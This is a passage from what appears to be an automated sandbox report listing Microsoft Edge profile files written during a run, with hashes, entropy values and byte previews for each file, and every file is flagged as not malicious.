Encrypted:	false
SSDEEP:	3072:290vUGKyoOG1Iwl1qFr8Q1NQJGtSwv5ohuU6swY58MLL/2AlCo1q:Yyq1IwlOr32Gohks1dL/wV
MD5:	841B7A90CF398EFEEF5BC116D1034135
SHA1:	2DF69B35CC12FCBEBD91339C651C4398E6E5D56F
SHA-256:	D42B998171FF2B01B599F1C01C96DAC4E3AC324A7C61188BAB5AD7A9FEECA5FC
SHA-512:	EF399F5D6F93D04752F5DBB21819E377AE7F42E44F8C430529FA2147AD1AF5411AE89C035E9FBAE9AB8D47A6BF568D3BA4B03BE19B660ADB0E4B80FC3A25B137
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x..........,T.8..`,.....L`.....,T...`......L`......Rc........exports...Rc6y{7....module....Rc._......define....Rb...d....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......Q.Q.M.:\.D...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=truea........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....O...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4.........../...-..........\....-..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:HeR0Xl/ld/lxEwltIFPhKln:puQq1U
MD5:	C047F0E489899A44AEA0B57E27B8F711
SHA1:	70BA46D9655593697A1D74482D95A97CF1919A09
SHA-256:	6655A5FC2E27469729C4DEE20D2C34B44C47A0B2825A1AFDB7009E4A7E456141
SHA-512:	8B69FCF631A86B5294BE2C4EA87740085232F172A88FDCAB8343BE7BFB653877DE231DD1E0844709A955FFB37C4E7198B507C53ABAA996035D7DAAFF4C863D8A
Malicious:	false
Preview:	@......boy retne.........................X....,..................U.*./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:HeR0Xl/ld/lxEwltIFPhKln:puQq1U
MD5:	C047F0E489899A44AEA0B57E27B8F711
SHA1:	70BA46D9655593697A1D74482D95A97CF1919A09
SHA-256:	6655A5FC2E27469729C4DEE20D2C34B44C47A0B2825A1AFDB7009E4A7E456141
SHA-512:	8B69FCF631A86B5294BE2C4EA87740085232F172A88FDCAB8343BE7BFB653877DE231DD1E0844709A955FFB37C4E7198B507C53ABAA996035D7DAAFF4C863D8A
Malicious:	false
Preview:	@......boy retne.........................X....,..................U.*./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF4077e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:HeR0Xl/ld/lxEwltIFPhKln:puQq1U
MD5:	C047F0E489899A44AEA0B57E27B8F711
SHA1:	70BA46D9655593697A1D74482D95A97CF1919A09
SHA-256:	6655A5FC2E27469729C4DEE20D2C34B44C47A0B2825A1AFDB7009E4A7E456141
SHA-512:	8B69FCF631A86B5294BE2C4EA87740085232F172A88FDCAB8343BE7BFB653877DE231DD1E0844709A955FFB37C4E7198B507C53ABAA996035D7DAAFF4C863D8A
Malicious:	false
Preview:	@......boy retne.........................X....,..................U.*./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6259
Entropy (8bit):	3.404909025785028
Encrypted:	false
SSDEEP:	192:J34JZrfM9Lp+2ci2ADN/65SLl9iSrqR3:iJ1fM9Lp+7NK/65SLl9iSrq3
MD5:	E3253D3F0E86D396EA120A4D1B6CBE31
SHA1:	91C16D9198148B3CCEC169AD0D487B53C6219385
SHA-256:	B7CDAD86F67EC703995DD5EF363F0FBB3CA54F38C1E79558F92C8119C1E42BBB
SHA-512:	6EE38CD6ADEB80B4B7972E15295DC922A52BBB65F0DC3B486257C294291C36BEEAB206182A5F159B7D2A0CAA08586A977835E8B71BF31BFD59CF399913D6E516
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............dD.Hb................next-map-id.1.Cnamespace-06ae7ead_a73b_4574_b712_f466df836b15-https://ntp.msn.com/.0..P=.................map-0-shd_sweeper.-{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.a.d.s.-.c.b.v.4.2.-.9.7.0.,.p.n.p.w.e.a.t.o.d.a.y.,.1.s.-.w.p.o.-.l.o.c.k.-.l.s.s.d.r.k.3.,.s.h.s.t.r.3.c.c.n.,.p.r.g.-.s.h.-.s.h.s.t.r.3.c.a.r.,.p.r.g.-.s.h.-.s.h.s.t.r.n.c.c.n.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.1.f.,.p.r.g.-.1.s.w.-.s.a.e.e.m.i.m.p.t.1.,.p.r.g.-.1.s.w.-.s.a.b.g.f.c.c.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.g.-.1.s.w.-.s.a.d.n.n.c.m.o.e.v.2.n.c.,.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.4.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.,.p.r.g.-.1.s.w.-.h.u.p.s.e.l.l.-.t.r.5.,.p.r.g.-.1.s.w.-.h.u.p.s.e.l.l.-.5.,.p.r.g.-.1.s.w.-.h.u.p.s.e.l.l.-.t.i.p.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.15540705350301
Encrypted:	false
SSDEEP:	6:yeQSTPPq2P923oH+TcwtrQMxIFUt8heQSdqjZZmw+heQCUhFzkwO923oH+Tcwtrb:HTv4YebCFUt8kdqjZ/+RhF5LYebtJ
MD5:	38550AEAC633A3B1FF71BE949D2C7F12
SHA1:	A73603AC3934CC2B16665B3C30F457B8F8FE4180
SHA-256:	7072DB6A87A443BBC09397E1B4224561CC6B0765B5D222282A4E782FBC18D51E
SHA-512:	BB06A3AD86845E4E7BE8CD7CF4300E1B71AE7D4577C405730DDAE759D715768D9E94F5418C919C63C11E37FE390E32A2BAB0C970CA4328E28F365DA18391680C
Malicious:	false
Preview:	2024/10/28-21:46:27.576 1e74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/28-21:46:27.578 1e74 Recovering log #3.2024/10/28-21:46:27.581 1e74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.15540705350301
Encrypted:	false
SSDEEP:	6:yeQSTPPq2P923oH+TcwtrQMxIFUt8heQSdqjZZmw+heQCUhFzkwO923oH+Tcwtrb:HTv4YebCFUt8kdqjZ/+RhF5LYebtJ
MD5:	38550AEAC633A3B1FF71BE949D2C7F12
SHA1:	A73603AC3934CC2B16665B3C30F457B8F8FE4180
SHA-256:	7072DB6A87A443BBC09397E1B4224561CC6B0765B5D222282A4E782FBC18D51E
SHA-512:	BB06A3AD86845E4E7BE8CD7CF4300E1B71AE7D4577C405730DDAE759D715768D9E94F5418C919C63C11E37FE390E32A2BAB0C970CA4328E28F365DA18391680C
Malicious:	false
Preview:	2024/10/28-21:46:27.576 1e74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/28-21:46:27.578 1e74 Recovering log #3.2024/10/28-21:46:27.581 1e74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374639988734533

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8346631246180847
Encrypted:	false
SSDEEP:	24:3kvDIymhGgusGyePn4psAF4unxstLp3X2amEtG1Chq4FBfsiQKkOAM4:3kvDI/h/uDTn4zF6Lp2FEkChBB0zHOp
MD5:	2F0692FFC8EE91E78176957488E8162C
SHA1:	4798E377FCC13A52BA5A41D500D2BCD3B6267AA4
SHA-256:	12BC8758BB8EB759A6738D48A1BBBA64110C3D8AEFA5E7CC06E70505A10BF2AE
SHA-512:	1937AAC33DF1C5DC89067E3541101532351978FBEDBAD78DE354512760803537083A5B7E5AA50A1FE826BF1869AB47DD5A610613F618540255182DF99B5DA303
Malicious:	false
Preview:	SNSS.......6..(...........6..(......"6..(...........6..(.......6..(.......7..(.......7..(....!..7..(...............................6..(7..(1..,...7..($...06ae7ead_a73b_4574_b712_f466df836b15...6..(.......7..(....v!.........6..(...6..(.......................6..(....................5..0...6..(&...{98952893-68FF-4A5D-A164-705C709ED3DB}.....6..(.......6..(..........................7..(...........7..(........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......X....%..Y....%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.090730334680855
Encrypted:	false
SSDEEP:	6:ybDM+q2P923oH+Tcwt7Uh2ghZIFUt8hbgZmw+huU6DMVkwO923oH+Tcwt7Uh2gnd:cM+v4YebIhHh2FUt8i/+MMV5LYebIhHd
MD5:	49758F59710488E898C86F5615E919C4
SHA1:	FA6BF6E80C393106E0924D8506F0C0B1EBA3A669
SHA-256:	102BE18AD7935EB6A92D5D761EB528E57EE7759425A35C077C3878F4A2A71038
SHA-512:	BB054B18CAB063EFE93BBD35FBF4F3C0975FBE53F7F83E7FBA28F4BA9E1AE7ED9598B846D84AE68AE8C7B29FEED2E0CC425C079BEDD2F733F0F88D116EB7EA1A
Malicious:	false
Preview:	2024/10/28-21:46:26.400 1cfc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/28-21:46:26.400 1cfc Recovering log #3.2024/10/28-21:46:26.401 1cfc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.090730334680855
Encrypted:	false
SSDEEP:	6:ybDM+q2P923oH+Tcwt7Uh2ghZIFUt8hbgZmw+huU6DMVkwO923oH+Tcwt7Uh2gnd:cM+v4YebIhHh2FUt8i/+MMV5LYebIhHd
MD5:	49758F59710488E898C86F5615E919C4
SHA1:	FA6BF6E80C393106E0924D8506F0C0B1EBA3A669
SHA-256:	102BE18AD7935EB6A92D5D761EB528E57EE7759425A35C077C3878F4A2A71038
SHA-512:	BB054B18CAB063EFE93BBD35FBF4F3C0975FBE53F7F83E7FBA28F4BA9E1AE7ED9598B846D84AE68AE8C7B29FEED2E0CC425C079BEDD2F733F0F88D116EB7EA1A
Malicious:	false
Preview:	2024/10/28-21:46:26.400 1cfc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/28-21:46:26.400 1cfc Recovering log #3.2024/10/28-21:46:26.401 1cfc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.225860052603917
Encrypted:	false
SSDEEP:	6:ye+Fhq2P923oH+TcwtzjqEKj3K/2jMGIFUt8heXiXZmw+heDckwO923oH+Tcwtzg:6hv4YebvqBQFUt8tX/+Ec5LYebvqBvJ
MD5:	AD622D4184F4BCC5D09BCD91378FD897
SHA1:	37BC1DCB1FB544092F6A482DC67390E1A3D740D8
SHA-256:	1D532117B7B61D88AC1E7E9FD89AE08EF8E42E00296E6B8D63985479700A1533
SHA-512:	875722F456FB888E849A34BEE4B4AF6849B7FB915EBE54BFB75C4445928D0949DDB450E9940A90CBF8109F1A91193826EF7FE6CADB2789B3235AE36F83F49DAA
Malicious:	false
Preview:	2024/10/28-21:46:27.616 1e74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/28-21:46:27.617 1e74 Recovering log #3.2024/10/28-21:46:27.620 1e74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.225860052603917
Encrypted:	false
SSDEEP:	6:ye+Fhq2P923oH+TcwtzjqEKj3K/2jMGIFUt8heXiXZmw+heDckwO923oH+Tcwtzg:6hv4YebvqBQFUt8tX/+Ec5LYebvqBvJ
MD5:	AD622D4184F4BCC5D09BCD91378FD897
SHA1:	37BC1DCB1FB544092F6A482DC67390E1A3D740D8
SHA-256:	1D532117B7B61D88AC1E7E9FD89AE08EF8E42E00296E6B8D63985479700A1533
SHA-512:	875722F456FB888E849A34BEE4B4AF6849B7FB915EBE54BFB75C4445928D0949DDB450E9940A90CBF8109F1A91193826EF7FE6CADB2789B3235AE36F83F49DAA
Malicious:	false
Preview:	2024/10/28-21:46:27.616 1e74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/28-21:46:27.617 1e74 Recovering log #3.2024/10/28-21:46:27.620 1e74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\09f9d1e8-9fdd-4ae2-a4ce-294d57a761e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3ed31cb9-7633-4775-ad6a-7e87490d95b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4fc52c37-9246-4cd4-86fa-724add1652d7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF39c02.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f0cef48b-0088-456e-959c-062b4c9abcb0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
